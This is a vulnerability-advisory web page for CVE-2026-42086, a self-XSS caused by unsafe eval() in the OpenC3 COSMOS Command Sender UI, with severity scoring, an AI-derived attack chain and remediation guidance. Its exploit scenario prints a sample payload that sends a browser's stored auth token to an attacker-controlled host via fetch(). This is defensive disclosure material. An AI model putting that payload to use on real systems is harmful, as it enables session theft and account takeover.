Skip to main content

OpenC3 COSMOS CVE-2026-42086

| EUVDEUVD-2026-27061 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-04 GitHub_M
4.6
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Social engineer authenticated COSMOS user
  2. Delivery
    User opens Command Sender UI with active session
  3. Exploit
    Attacker-supplied command with malicious array payload entered
  4. Execution
    eval() function parses array parameter as code
  5. Persist
    Arbitrary JavaScript executes in authenticated browser context
  6. Impact
    Session token stolen or data modified

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the following specific conditions: (1) The attacker must be able to influence the array parameter input in the Command Sender UI - typically via social engineering or phishing, since the COSMOS UI is accessed only by authenticated users; (2) The victim must be an authenticated user with an active session in COSMOS (PR:L from CVSS confirms authentication is required); (3) The victim must send a command containing the malicious array payload using the Command Sender UI's 'Send' button (UI:R confirms user interaction is required); (4) The target command must support ARRAY-type parameters - commands without array parameters are not vulnerable. The vulnerability does NOT require network-level access bypassing authentication, COSMOS misconfiguration, or non-standard deployments - it affects default installations where authenticated users can access the Command Sender UI. The main limiting factor is the requirement for user interaction and authentication; remote unauthenticated exploitation is not possible.

Impact

This vulnerability presents moderate real-world risk despite the low CVSS score (4.6). The CVSS vector (AV:N/AC:L/PR:L/UI:R/S:U) correctly reflects that exploitation requires authentication (PR:L), network access, and user interaction (UI:R), limiting its scope compared to unauthenticated remote code execution. However, several factors elevate actual risk: (1) The attack vector is network-accessible and exploitation complexity is low, making it trivial to execute once a victim is socially engineered; (2) The authenticated context is significant because stealing session tokens from local storage during an authenticated session enables account takeover; (3) The PoC is straightforward and publicly documented in the advisory, removing technical barriers; (4) No active KEV listing or widespread exploitation reports suggest this is not currently targeted at scale, but the ease of exploitation means rapid weaponization is likely if deployment is common. For defenders, the key decision point is whether COSMOS users are exposed to untrusted actors (phishing risk) - if so, this warrants immediate patching despite the moderate CVSS score.

Exploit ScenarioDerived

An attacker crafts a phishing email or social engineering message targeting a COSMOS operator, requesting they send a specific command to test or troubleshoot a system issue. The attacker includes a malicious command with a payload like [alert('XSS')] or more dangerously [fetch('https://attacker.com/steal?token=' + localStorage.getItem('auth_token'))] embedded in the array parameter. When the victim opens the COSMOS Command Sender UI (already authenticated) and follows the instructions by submitting the crafted command, the JavaScript executes in their browser context, exfiltrating session tokens or session storage data to the attacker's server. The attacker can then use the stolen token to impersonate the victim and send unauthorized commands or exfiltrate sensitive telemetry data.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 04, 2026

Self-XSS in OpenC3 COSMOS Command Sender UI prior to version 7.0.0 allows authenticated users to execute arbitrary JavaScript in their own browser session via unsafe eval() processing of array parameters. An attacker can exploit this through phishing or by convincing a victim to send a malicious command, potentially stealing session tokens or modifying authenticated data. Patch available in version 7.0.0.

RemediationAI

Upgrade OpenC3 COSMOS to version 7.0.0 or later immediately - this is the vendor-released patch that fixes the unsafe eval() usage in the Command Sender UI. For organizations unable to upgrade immediately, implement network access controls to restrict who can reach the COSMOS Command Sender UI (e.g., firewall rules limiting access to trusted networks or bastion hosts), and educate users not to send commands with untrusted input in array parameters. Additionally, review browser local storage policies and consider using session management tools that automatically invalidate or rotate session tokens on suspicious activity. However, these controls do not eliminate the vulnerability - upgrading to 7.0.0 is the definitive remediation. Reference the GHSA advisory at https://github.com/OpenC3/cosmos/security/advisories/GHSA-ffq5-qpvf-xq7x for confirmation and additional details.

Affected VersionsENISA

cosmos < 7.0.0

Affected Packages

pypi openc3 fix: 7.0.0
rubygems openc3 fix: 7.0.0
euvd cosmos fix: 7.0.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in pypi, rubygems, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

OpenC3 COSMOS is an embedded systems command and telemetry tool. The vulnerability exists in the CommandSender.vue component's convertToValue() method, which uses JavaScript's eval() function to parse array-like command parameters without sanitization. When a user inputs an array parameter (enclosed in square brackets) in the Command Sender UI, the eval() function interprets the entire string as executable code rather than data, allowing arbitrary JavaScript injection. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically the dangerous use of eval() on user-controlled input combined with insufficient output encoding.

Know when Cosmos gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 4.6 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
Patch available
May 04, 2026 - 19:17 EUVD
CVE Published
May 04, 2026 - 17:15 nvd
MEDIUM 4.6

DescriptionGitHub Advisory

OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. Prior to version 7.0.0, the Command Sender UI uses an unsafe eval() function on array-like command parameters, which allows a user-supplied payload to execute in the browser when sending a command. This creates a self-XSS risk because an attacker can trigger their own script execution in the victim’s session, if allowed to influence the array parameter input, for example via phishing. If successful, an attacker may read or modify data in the authenticated browser context, including session tokens in local storage. This issue has been patched in version 7.0.0.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

23
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +23
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Cosmos

View all
CVE-2025-28386 CRITICAL POC
9.8 Jun 13

Critical remote code execution vulnerability in OpenC3 COSMOS v6.0.0's Plugin Management component that allows unauthent

CVE-2025-28388 CRITICAL POC
9.8 Jun 13

OpenC3 COSMOS versions before v6.0.2 contain hardcoded credentials embedded in the Service Account, allowing unauthentic

CVE-2025-28389 CRITICAL POC
9.8 Jun 13

Critical authentication bypass vulnerability in OpenC3 COSMOS v6.0.0 caused by weak password requirements that enable br

CVE-2025-28384 CRITICAL POC
9.1 Jun 13

Critical directory traversal vulnerability in OpenC3 COSMOS versions before 6.1.0 affecting the /script-api/scripts/ end

CVE-2025-28382 HIGH POC
7.5 Jun 13

Directory traversal vulnerability in OpenC3 COSMOS versions before 6.1.0 that allows unauthenticated remote attackers to

CVE-2025-28381 HIGH POC
7.5 Jun 13

A security vulnerability in OpenC3 COSMOS (CVSS 7.5) that allows attackers. Risk factors: public PoC available.

CVE-2025-28380 MEDIUM POC
6.1 Jun 13

A cross-site scripting (XSS) vulnerability in OpenC3 COSMOS before v6.0.2 allows attackers to execute arbitrary web scri

CVE-2026-42088 CRITICAL
9.6 May 04

Privilege escalation in OpenC3 COSMOS allows low-privileged authenticated users to bypass API authorization and perform

CVE-2026-42087 CRITICAL
9.6 May 04

SQL injection in OpenC3 COSMOS 6.7.0 to 7.0.0-rc2 allows authenticated users with minimal 'tlm' (telemetry viewer) privi

CVE-2026-77601 HIGH POC
8.8 Sep 23

Authenticated OS command injection in OpenC3 COSMOS 5.12.0 through 7.2.1 allows a user with a valid session to run arbit

CVE-2024-47529 MEDIUM POC
4.8 Oct 02

OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems.

CVE-2026-42084 HIGH
8.1 May 04

OpenC3 COSMOS password change functionality accepts valid session tokens in lieu of current passwords, enabling attacker

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy